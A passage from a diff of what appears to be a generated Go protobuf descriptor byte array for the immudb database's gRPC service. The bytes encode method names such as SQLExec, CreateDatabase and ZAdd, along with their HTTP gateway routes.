0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, + 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, + 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, + 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, + 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, + 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, + 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, + 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, + 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, + 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, + 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, + 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, + 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, 0x04, + 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, - 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, - 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, - 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, - 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, - 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, - 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, - 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, - 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, - 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, - 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, - 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, - 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, - 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x73, + 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, + 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x64, 0x62, + 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, + 0x3a, 0x01, 0x2a, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, + 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, + 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x22, + 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69, 0x74, 0x68, 0x3a, + 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, + 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, + 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, + 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, + 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x74, 0x0a, 0x0e, 0x55, + 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, + 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x01, + 0x2a, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x63, 0x0a, 0x0c, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, + 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x0e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x32, 0x12, 0x24, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, + 0x3a, 0x01, 0x2a, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, 0x1e, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, 0x2f, 0x7b, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x63, 0x0a, 0x0e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, + 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6a, 0x0a, 0x13, + 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, 0x88, 0x02, + 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, 0x65, 0x74, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 